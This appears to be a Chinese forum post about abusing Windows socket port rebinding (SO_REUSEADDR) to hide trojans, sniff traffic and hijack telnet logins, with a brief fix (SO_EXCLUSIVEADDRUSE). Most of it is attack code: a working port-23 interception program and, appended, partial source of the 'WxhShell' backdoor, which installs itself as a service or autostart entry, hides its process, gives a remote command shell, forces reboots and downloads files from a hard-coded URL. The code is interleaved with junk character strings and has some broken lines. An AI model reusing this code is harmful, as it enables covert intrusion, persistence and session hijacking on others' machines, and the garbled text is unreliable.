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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0@KBQv"v  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +%^D)   
[@)|j=:i:  
  saddr.sin_family = AF_INET; va)\uXW.N  
~2H)#`\ac8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Cv3H%g+as  
SU^/qF%8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &fWZ%C7|jC  
71eD~fNdx  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 azSS:=A  
uG<+IT|x  
  这意味着什么?意味着可以进行如下的攻击: g6S8@b))|  
\AG ,dMS  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~![R\gps  
~$5[#\5%G  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #t\Oq9}^  
#"jWPe,d  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J_tJj8  
_h#G-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  'RhMzPmY>  
:98Pe6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 l#%w,gX  
na~ r}7 7o  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 OT zh=Z^r  
,}[,]-nVx  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^I^k4iw 4  
8Og9P1jVh  
  #include vwg\qKqSM  
  #include }9'rTLM  
  #include Jyn>:Yq(  
  #include    J{91 t |  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2>mDT  
  int main() = hpX2/]  
  { v/)dsSNZ0u  
  WORD wVersionRequested; ){/y-ixH  
  DWORD ret; r$+9grm<  
  WSADATA wsaData; b'G4KNW  
  BOOL val; 6SpkeXL  
  SOCKADDR_IN saddr; 5s0H4?S  
  SOCKADDR_IN scaddr; GXwV>)!x  
  int err; "C>KKs }  
  SOCKET s; mu*wX'.'  
  SOCKET sc; jjs-[g'}  
  int caddsize; 5(,WN  
  HANDLE mt; sUA)I%Q!  
  DWORD tid;   n1v%S"^  
  wVersionRequested = MAKEWORD( 2, 2 );  ,}bC  
  err = WSAStartup( wVersionRequested, &wsaData ); 7oUYRqd  
  if ( err != 0 ) { 4&?%"2  
  printf("error!WSAStartup failed!\n"); BPW:W }  
  return -1; g{&ux k);  
  } H|Eu,eq-E  
  saddr.sin_family = AF_INET; _3`{wzMA  
   b2z~C{l  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ";Lpf]<  
<yeG0`}t  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :R _(+EK1  
  saddr.sin_port = htons(23); [!v:fj  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3ZC[H'|  
  { ^ c:(HUo#  
  printf("error!socket failed!\n"); Hkpn/,D5  
  return -1; 6$IAm#  
  } rZ^DiFR  
  val = TRUE; QjPcfR\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >XA#/K  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  N3E=t#n  
  { . a~J.0co  
  printf("error!setsockopt failed!\n"); sLCL\dWT  
  return -1; "# JRw  
  } #T+%$q [:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; DBOz<|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .@R{T3 =Q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >RRb8=[J  
Rj-<tR{  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]NN9FM.2b/  
  { gXG1w>  
  ret=GetLastError(); C8i}~x<  
  printf("error!bind failed!\n"); s`&8tP  
  return -1; FFPO?y$  
  } T*z >A  
  listen(s,2); O||M |  
  while(1) I#m5Tl|#  
  { "=HCP,  
  caddsize = sizeof(scaddr); :H6Ipa  
  //接受连接请求 <V9L AWeS  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); JVU:`BH  
  if(sc!=INVALID_SOCKET) d!8`}L:=M  
  { ]XU?Wg  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +DksWb D  
  if(mt==NULL) }9jy)gF*e  
  { \acjv|]  
  printf("Thread Creat Failed!\n"); gVk_<;s  
  break; +oeO 0  
  } w$pBACX  
  } [CJ&Yz Ji  
  CloseHandle(mt); 0IxXhu6v  
  } ']>@vo4kK{  
  closesocket(s); JhIgq W2  
  WSACleanup(); S's\M5  
  return 0; 7\eN 8+  
  }   -k= 02?0p+  
  DWORD WINAPI ClientThread(LPVOID lpParam) we!}"'E;  
  { C;M.dd  
  SOCKET ss = (SOCKET)lpParam; nxCwg>  
  SOCKET sc; rk{DrbRx  
  unsigned char buf[4096]; <1>\?$)D  
  SOCKADDR_IN saddr; yX?& K}JI  
  long num; RD<l<+C^~  
  DWORD val; UuW"  
  DWORD ret; }_Jr[iaB  
  //如果是隐藏端口应用的话,可以在此处加一些判断 h0L *8P`t  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   hQvSh\p  
  saddr.sin_family = AF_INET; l$z\8]x  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ggfL d r  
  saddr.sin_port = htons(23); ?u"MsnCXYn  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9PIm/10pP^  
  { Xh;Pbm|K  
  printf("error!socket failed!\n"); t(}\D]mj  
  return -1; k?KKb /&b  
  } #O* ytZ  
  val = 100; 3w#kvtDVm  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +-1t]`9k4  
  { #toKT_  
  ret = GetLastError(); 1 @tVfn}  
  return -1; C|8.$s<  
  } yuWoz*:t  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~bhesWk8!  
  { 9;NR   
  ret = GetLastError(); d#T~xGqz  
  return -1; KpA iKe  
  } I MpEp}7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) QG$LbuZ`  
  { Tn8Z2iC  
  printf("error!socket connect failed!\n"); FT!|YJz<K  
  closesocket(sc); K FvNsqd  
  closesocket(ss); I6ffp!^}Y  
  return -1; 2'$p(  
  } zVFz}kJa  
  while(1) UB|f{7~&  
  { a`|&rggN  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 J.N%=-8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8HS1^\~(6l  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `9SuDuw;s  
  num = recv(ss,buf,4096,0); -Xb]=Yf-  
  if(num>0) < {$zOF}  
  send(sc,buf,num,0); e?rp$kq7  
  else if(num==0) nJ<h}*[  
  break; > r6`bh [4  
  num = recv(sc,buf,4096,0); Zu951+&`  
  if(num>0) "JzQCY^C  
  send(ss,buf,num,0); ?kMG!stgp}  
  else if(num==0) iqW T<WY  
  break; l:5x*QSX  
  } *"2TT})   
  closesocket(ss); l_Mi'}j  
  closesocket(sc); ' !>t( Sa  
  return 0 ; L}7c{6!F7  
  } N&n2\Y  
/~Zxx}<;  
hosw :%  
========================================================== c;C:$B7  
)/A IfH  
下边附上一个代码,,WXhSHELL ) ,1MR=  
7+QD=j-  
========================================================== dOh`F~ Y)e  
pHSq,XP-  
#include "stdafx.h" ()i8 Qepo}  
;"l>HL:^  
#include <stdio.h> t&MJSFkiA  
#include <string.h> jr29+>  
#include <windows.h> O RAKg.49  
#include <winsock2.h> Lwm2:_\_b  
#include <winsvc.h> cPZD#";f  
#include <urlmon.h> Rrm k\7/  
$)t ]av  
#pragma comment (lib, "Ws2_32.lib") {p@uH<)  
#pragma comment (lib, "urlmon.lib") ve;#o<  
a/Z >-   
#define MAX_USER   100 // 最大客户端连接数 }c?/-ab>  
#define BUF_SOCK   200 // sock buffer #&a-m,Y$sx  
#define KEY_BUFF   255 // 输入 buffer 3eX;T +|o  
|7KW'=O  
#define REBOOT     0   // 重启 PZmg7N  
#define SHUTDOWN   1   // 关机 /2Q@M>  
m08:EX P  
#define DEF_PORT   5000 // 监听端口 ?UuJk  
cD5c&+,&I  
#define REG_LEN     16   // 注册表键长度 (lBgW z  
#define SVC_LEN     80   // NT服务名长度 ASME~]]?  
:d\ne  
// 从dll定义API 7/%{7q3G>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AvnK?*5!@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MW*@fl<@?M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +c$]Q-(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uSh!A  
No#1Ikw  
// wxhshell配置信息 %GG:F^X#  
struct WSCFG { t ' _Au8  
  int ws_port;         // 监听端口 p w(eWP  
  char ws_passstr[REG_LEN]; // 口令 n<\ W Vi  
  int ws_autoins;       // 安装标记, 1=yes 0=no xLhN3#^m  
  char ws_regname[REG_LEN]; // 注册表键名 S3EM6`q'  
  char ws_svcname[REG_LEN]; // 服务名 4Rj;lAlwB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s}yJkQb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 KKpO<TO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @=4K%SCw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q[?O+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rK 9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ODa+s>a`^  
[^sv.  
}; X-,scm  
3{OY&   
// default Wxhshell configuration ,Yx"3i,  
struct WSCFG wscfg={DEF_PORT, L7oLV?k  
    "xuhuanlingzhe", |L|)r)t  
    1, CGmObN8~'F  
    "Wxhshell", ]gI>ay"\QA  
    "Wxhshell", 49. @Uzo  
            "WxhShell Service", 1haNca_6,  
    "Wrsky Windows CmdShell Service", <5rs~  
    "Please Input Your Password: ", #m yiZL %  
  1, U^+xCX<  
  "http://www.wrsky.com/wxhshell.exe", wc@X:${  
  "Wxhshell.exe" .PjJ g^^  
    }; P5 f p!YF  
?M?S+@(  
// 消息定义模块 "A\.`*6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .u[hK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e_mUO"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7u8HcHl  
char *msg_ws_ext="\n\rExit."; <k'JhMwN  
char *msg_ws_end="\n\rQuit."; RW19I,d  
char *msg_ws_boot="\n\rReboot..."; ` O;+N"v  
char *msg_ws_poff="\n\rShutdown..."; 9gFb=&1k  
char *msg_ws_down="\n\rSave to "; pdCn98}%-  
i=67  
char *msg_ws_err="\n\rErr!"; 7g@P$e]  
char *msg_ws_ok="\n\rOK!"; 2ZHeOKJ-  
3u]#Ra~5  
char ExeFile[MAX_PATH]; \Y;LbB8D  
int nUser = 0; s>y=-7:N  
HANDLE handles[MAX_USER]; AL*P 2\8  
int OsIsNt; ':al4m"  
kT|{5Kn&s  
SERVICE_STATUS       serviceStatus; zdY+?s)p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0a<:.}  
?1%/G<  
// 函数声明 `U:W(\L  
int Install(void); N$u;Q(^  
int Uninstall(void); }<?1\k  
int DownloadFile(char *sURL, SOCKET wsh); 9nW/pv  
int Boot(int flag); 1e=<df  
void HideProc(void); $gKMVgD"  
int GetOsVer(void); ma4Pmk  
int Wxhshell(SOCKET wsl); [Y@?l]&  
void TalkWithClient(void *cs); 5:[<pY!s#  
int CmdShell(SOCKET sock); ^@W98_bd;  
int StartFromService(void); *5KV DOd  
int StartWxhshell(LPSTR lpCmdLine); }*vUOQQp*  
00s&<EM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )na 8a!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #'"zyidu  
r8PXdNg  
// 数据结构和表定义 ;uw`6 KJ  
SERVICE_TABLE_ENTRY DispatchTable[] = wk @-O}W  
{ ~~J xw ]  
{wscfg.ws_svcname, NTServiceMain}, M#v#3:&5  
{NULL, NULL} gcLwQ-  
}; MDETAd  
m e\S:  
// 自我安装 G)qNu}  
int Install(void) :=J~t@  
{ ,P G d  
  char svExeFile[MAX_PATH]; ZM)Y Rdh  
  HKEY key; 'n'83d)z  
  strcpy(svExeFile,ExeFile); LR:Qb]|"  
:^ 9sy  
// 如果是win9x系统,修改注册表设为自启动 V=#L@ws  
if(!OsIsNt) { Sw##C l#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f"^G\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y6LoPJ  
  RegCloseKey(key); ?~G D^F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'EsN{.l?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n,KOQI;  
  RegCloseKey(key); bj6-0`  
  return 0; .}KY*y  
    } 8J60+2Wa  
  } #ma#oWqF}  
} 8<cD+Jtj  
else { *e E&ptx1  
K@Z K@++  
// 如果是NT以上系统,安装为系统服务 :]?y,e%xu,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); RRYm.dMIw  
if (schSCManager!=0) ~(%TQY5  
{ 'G3;!xk$  
  SC_HANDLE schService = CreateService gQ]WNJ~>  
  ( ^4jIT1  
  schSCManager, 8;'fWV? U  
  wscfg.ws_svcname, Z<j(ZVO  
  wscfg.ws_svcdisp, gO C5  
  SERVICE_ALL_ACCESS, R-xWZRl>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O0`k6$=6r  
  SERVICE_AUTO_START, lTNfTO^  
  SERVICE_ERROR_NORMAL, B~p` 3rC  
  svExeFile, I]S8:w![  
  NULL, %lL^[`AR  
  NULL, mDn*v( f  
  NULL, R-v99e iN  
  NULL, ^:JZ.r  
  NULL JryCL]  
  ); eURy]  
  if (schService!=0) Ift @/A  
  { YXD6GJWo  
  CloseServiceHandle(schService); 3$YgGum  
  CloseServiceHandle(schSCManager); ^QX3p,Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WM8 Ce0E  
  strcat(svExeFile,wscfg.ws_svcname); W'2a1E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t?[|oz:v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  [Tha j  
  RegCloseKey(key); /.leY$  
  return 0; x50,4J%J'r  
    } WdXi  
  } U p1&(  
  CloseServiceHandle(schSCManager); y1DP`Ro  
} &p\fdR4e  
} /mELnJ^  
)"j)9RQ}  
return 1; fX)C8J^=G  
} cO$ PK  
wKe$(>d"L  
// 自我卸载 M[wd.\ %  
int Uninstall(void) Q}G'=Q]Juz  
{ e}qG_*  
  HKEY key; [UJC/GtjS  
.r~!d|  
if(!OsIsNt) { .]_Ye.}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U1&pcwP  
  RegDeleteValue(key,wscfg.ws_regname); J \iyc,M<M  
  RegCloseKey(key); mp2J|!Lx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eT??F  
  RegDeleteValue(key,wscfg.ws_regname); vB0O3]  
  RegCloseKey(key); ?y( D_NtL  
  return 0; E\U6n""]  
  } v?Q|;<   
} } $:uN  
} ;g[C=yhK`C  
else { ?A|8J5E V  
H ]BH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Yh%a7K   
if (schSCManager!=0) \k?uh+xl  
{ 3JuWG\r)l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i#I+   
  if (schService!=0) hdB.u^!  
  { a9rn[n1Q  
  if(DeleteService(schService)!=0) { P.bBu  
  CloseServiceHandle(schService); RhM]OJd'  
  CloseServiceHandle(schSCManager); :[#g_*G@p  
  return 0; #V4kT*2P)  
  } U1?*vwfKZ  
  CloseServiceHandle(schService); <{rRcFR  
  } t#s?:  
  CloseServiceHandle(schSCManager); Y,O)"6ev  
} R:+2}kS5e{  
} ]w!gv /;  
,fS}c pV  
return 1; 3`@alhD'  
} (eS/Q%ZGK  
KjR^6v  
// 从指定url下载文件 w*.q t<rH)  
int DownloadFile(char *sURL, SOCKET wsh) Yk',a$.S  
{ >t2E034_  
  HRESULT hr; 2ye^mJ17  
char seps[]= "/"; w3lR8R]  
char *token; 5IeF |#g  
char *file; neW_mu;~Z  
char myURL[MAX_PATH]; 8y;W+I(71  
char myFILE[MAX_PATH]; <1tFwC|4BJ  
4&r+K`C0  
strcpy(myURL,sURL); 0T,Qn{  
  token=strtok(myURL,seps); sW)C6 #  
  while(token!=NULL) j-2`yR  
  { :O:Rfmr~  
    file=token; Q9X7- \n  
  token=strtok(NULL,seps); bSmF"H0cP  
  } FY%v \`@1*  
i3I'n*  
GetCurrentDirectory(MAX_PATH,myFILE); S4]}/Imn)  
strcat(myFILE, "\\"); g0ec-  
strcat(myFILE, file); @NMFurm  
  send(wsh,myFILE,strlen(myFILE),0); p"4i(CWGS  
send(wsh,"...",3,0); k$</7 IuH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ra \Moy  
  if(hr==S_OK) mG[S"?C  
return 0; uSSnr#i^j  
else iTTe`Zr5y  
return 1; '0_Z:\ laU  
d#:&Uw  
} T.kmoLlH  
=w HU*mK  
// 系统电源模块 2XJn3wPi  
int Boot(int flag) j&(2ze:=*$  
{ +(/?$dRH  
  HANDLE hToken; Vx_ lI #3  
  TOKEN_PRIVILEGES tkp; U~z`u&/  
'0g1v7Gx  
  if(OsIsNt) { iq$edq[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #yZZ$XOk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?c)PBJ+]  
    tkp.PrivilegeCount = 1; V6l*!R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ojj:YLlY>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4HlOv % 8  
if(flag==REBOOT) { 8[LwG&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;+]9KIa_Pq  
  return 0; Dt,b\6  
} 0;z-I"N  
else { yoTbIQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?29zcuRaru  
  return 0; @xR7>-$0p  
} t1p}   
  } 6zK8-V?9F  
  else { *OU>s;"$  
if(flag==REBOOT) { zAEq)9Y"l'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SdhdXVZ  
  return 0; <1[WNj2[  
} Q g=k@  
else { z'a#lA.$}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {GDMix  
  return 0; (j8tdEt  
} ?(GMe>  
} WTPp/Nq'  
U JG)-x  
return 1; Pxu!,Mi[d  
} Z;shFMu  
<>GWSW  
// win9x进程隐藏模块 6GCwc1g  
void HideProc(void) xN wKTIK$  
{ R? Y#>K  
YK*2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KN U/Kc#  
  if ( hKernel != NULL ) f !t2a//  
  { <mlQn?u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]bO {001y,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9_'xq.uP  
    FreeLibrary(hKernel); @`2<^-r\  
  } QC0^G,9.  
T[M?:~  
return; nt\6o?W  
} "~x\bSY  
]c{Zh?0  
// 获取操作系统版本 I@P[}XS  
int GetOsVer(void) kzr9-$eb  
{ :@w ;no>=*  
  OSVERSIONINFO winfo; ]k Ls2? \  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0-"ps]X  
  GetVersionEx(&winfo); G1M}g8 ]h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~k+"!'1  
  return 1; P0U=lj/ b  
  else v :]y#y  
  return 0; 7uJy<O  
} kXS_:f;M  
lZCvH1&"  
// 客户端句柄模块 yA*~O$~Y  
int Wxhshell(SOCKET wsl) 2|F.JG^  
{ dT8m$}h9  
  SOCKET wsh; M= !Fb  
  struct sockaddr_in client; Mt)~:V+:  
  DWORD myID; L>$yslH; b  
#(3w6 l2  
  while(nUser<MAX_USER) & Sy0Of  
{ rb%P30qc4  
  int nSize=sizeof(client); 3:jKuOX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A<^IG+Q,B7  
  if(wsh==INVALID_SOCKET) return 1; / 3:R{9S%  
x<60=f[O2R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r/=v;4.W  
if(handles[nUser]==0) !q~s-~d^  
  closesocket(wsh); W"4E0!r  
else {EbR =  
  nUser++; STu!v5XY}-  
  } g[Ah> 5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'qQ 5K o  
e/lfT?J\  
  return 0; '1;Q'-/J  
} aWek<Y~+  
r=4'6!  
// 关闭 socket t/WauY2JUC  
void CloseIt(SOCKET wsh)  Y2vzK;  
{ qC?J`   
closesocket(wsh);  WwbE xn<  
nUser--; ntkTrei ]  
ExitThread(0); s<'^ @Y  
} K"Vv=  
yXS ~PG  
// 客户端请求句柄 k\|G%0Jw  
void TalkWithClient(void *cs) <aa# OX  
{ Nkn0G _  
4q[C' J  
  SOCKET wsh=(SOCKET)cs; 5%(J+d  
  char pwd[SVC_LEN]; NuI9"I/  
  char cmd[KEY_BUFF]; uS bOGhP  
char chr[1]; 9 Am&G  
int i,j; w/KHS#~  
1g9Q vz3  
  while (nUser < MAX_USER) { W%b<(T;  
<ro0}%-z>M  
if(wscfg.ws_passstr) { qc~6F'?R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8#'<SB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hXM8`iFW5  
  //ZeroMemory(pwd,KEY_BUFF); ~\4l*$3(^  
      i=0; )v;>6(  
  while(i<SVC_LEN) { ('Wo#3b$  
)u]J`.OA  
  // 设置超时 4;Z`u.1  
  fd_set FdRead; '|&}rLr:+  
  struct timeval TimeOut; w{)*'8oCB  
  FD_ZERO(&FdRead); f!ehq\K1k  
  FD_SET(wsh,&FdRead); 3  8pw  
  TimeOut.tv_sec=8; m9Gyjr'L  
  TimeOut.tv_usec=0; soW.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7&XU]I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %!%3jo0t  
?{%P9I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); meu\jg  
  pwd=chr[0]; "RuJlp  
  if(chr[0]==0xd || chr[0]==0xa) { i;lzFu )G  
  pwd=0; fJLlz$H  
  break; -(~Tu>KaH  
  } l"o@.C} f/  
  i++; N}nU\e6 Y  
    } 5p"n g8nR  
xr?=gY3E;  
  // 如果是非法用户,关闭 socket 5 g99t$p9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UoPd>q4Uj  
} vmJ1-<G4*  
~6.AE/ow  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fF[n?:VV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |TF,Aj   
\D?6_ ,O  
while(1) { hD{+V!{  
B<DvH"+$  
  ZeroMemory(cmd,KEY_BUFF); l@Ma{*s6=5  
(ZQ{%-i?qR  
      // 自动支持客户端 telnet标准   ]8ua>1XS  
  j=0; j+]>x]c0  
  while(j<KEY_BUFF) { _o~<f)E[9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <8Nh dCO6  
  cmd[j]=chr[0]; }|H]>U&  
  if(chr[0]==0xa || chr[0]==0xd) { kNUbH!PO  
  cmd[j]=0; "6^tG[G%  
  break; ,& =(DJ  
  } M|?qSFv:  
  j++; (FbqKx'uq  
    } T nAd!  
d]VL( &  
  // 下载文件 \hQ[5>  
  if(strstr(cmd,"http://")) { d?WA}VFU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dMw7Lp&  
  if(DownloadFile(cmd,wsh)) ` B) ~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); XD{U5.z>y  
  else 1""9+4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5X\3y4  
  } ,Bp\ i  
  else { gC;y>YGP  
Z}f$ KWj  
    switch(cmd[0]) { X/lLM`  
  i96Pel  
  // 帮助 AR`X2m '  
  case '?': { 7A8jnq7m/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eHF#ME  
    break; I8gGP'  
  } eJilSFp1  
  // 安装 +c/am``  
  case 'i': { )b"H]"  
    if(Install()) r^ S 4 I&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G5ebb6[+  
    else Wd~aSz9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qW6a|s0}  
    break; 15r,_Gp8  
    } H!4!1J.=xw  
  // 卸载 ;TF(opW:  
  case 'r': { Bt[`p\p@  
    if(Uninstall()) UMm<HQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3qiE#+dC  
    else a-4'jT:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _xI'p6C  
    break; qw&Wfk\}  
    } {CR~G2Z  
  // 显示 wxhshell 所在路径 BZQ98"Fz*  
  case 'p': { `/f9 mn  
    char svExeFile[MAX_PATH]; C 6Bh[:V&  
    strcpy(svExeFile,"\n\r"); 2uZ <q?=  
      strcat(svExeFile,ExeFile); :1q+[T/ @  
        send(wsh,svExeFile,strlen(svExeFile),0); A1{P"p!  
    break; -_ .f&l8  
    } %h g=@7,|  
  // 重启 ~1`.iA  
  case 'b': { 'M|W nR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dI5Z*"`R9  
    if(Boot(REBOOT)) lu`\6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mG7Wu{~=U  
    else { 1}tZ,w>  
    closesocket(wsh); &1%W-&bc6  
    ExitThread(0); 'j !!h4  
    } sDK lbb  
    break; P_j ?V"i<  
    } _Hl[Fit<j1  
  // 关机 Y]{<IF:  
  case 'd': { v{i'o4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !(*mcYA*W  
